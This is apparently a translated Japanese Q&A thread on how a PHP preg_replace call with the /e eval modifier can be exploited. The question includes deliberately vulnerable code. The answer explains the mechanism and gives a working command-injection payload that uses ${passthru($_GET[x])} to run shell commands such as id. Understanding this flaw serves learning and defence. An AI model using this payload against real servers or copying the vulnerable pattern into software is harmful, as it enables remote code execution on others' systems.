web-dev-qa-db-ja.com

preg_replaceのフィルタリングと活用について

これがコードの概念実証です。

_<?php
$input=$_GET['input'];
print preg_replace('/[A-DH-M0-9._%+-]+@(.+)\.[A-Z]{2,4}/mADsex', 'strtoupper("\\1")', $input);
?>
_

フィルターの機能がよくわかりません。次の文字[AからD]、[HからM]、[0から9]を大文字に変更する必要があるだけです。また、PHPコードの評価を許可する/ eフラグが使用されます。そのため、system("ls")のテスト文字列を試すと、文字が削除されて出力されます。 PHPコードとして評価されません。

2
0x00

ここには2つの問題があり、どちらも解決できます。

Preg_replace eの仕組みと活用方法

最初の問題は、eを含むpreg_replaceが、渡されたものを何も実行しないことです。正規表現に一致する入力の部分のみを実行し、後方参照を介して置換で使用されます。

以下は、preg_replace evalがどのように機能するかを示す、それほど複雑でない例です。

// The vulnerable code:
echo preg_replace('/(.*)/e', 'strtoupper("\\1")', $input);

// Your input:
foobar

// foobar is now captured and passed as back reference 1 to the replacement

// evaled:
strtoupper("foobar")

// the result of that eval is then put as replacement into the original input

この例の問題を解決するには、正規表現に一致する入力を作成するだけです。

A@YOUR_PAYLOAD.AA

YOUR_PAYLOADは、キャプチャグループがキャプチャし、置換で参照されるものです。

二重引用符で囲まれた文字列内のコード実行

2番目の問題は、置換で文字列内の一致が使用されるため、一致がコードとして評価されないことです。これは簡単な問題です。

ペイロードは二重引用符で囲まれた文字列内にあるため、コードとしてではなく文字列として扱われるため、PHPコードを挿入するだけでは機能しません。"は問題を解決しますが、すべての参照で二重引用符が エスケープ であるため機能しません。ただし、変数と関数呼び出し二重引用符で囲まれた文字列内で評価されます。

これは、次のようにコードを実行できることを意味します。

input=A@${passthru($_GET[x])}.AA&x=id

評価されるコードは次のとおりです。

strtoupper("${passthru($_GET[x])}")

結果は空の文字列になりますが、パススルーは入力を直接エコーするため、結果が表示されます。警告が有効になっている場合は、execを使用しても機能します。

3
tim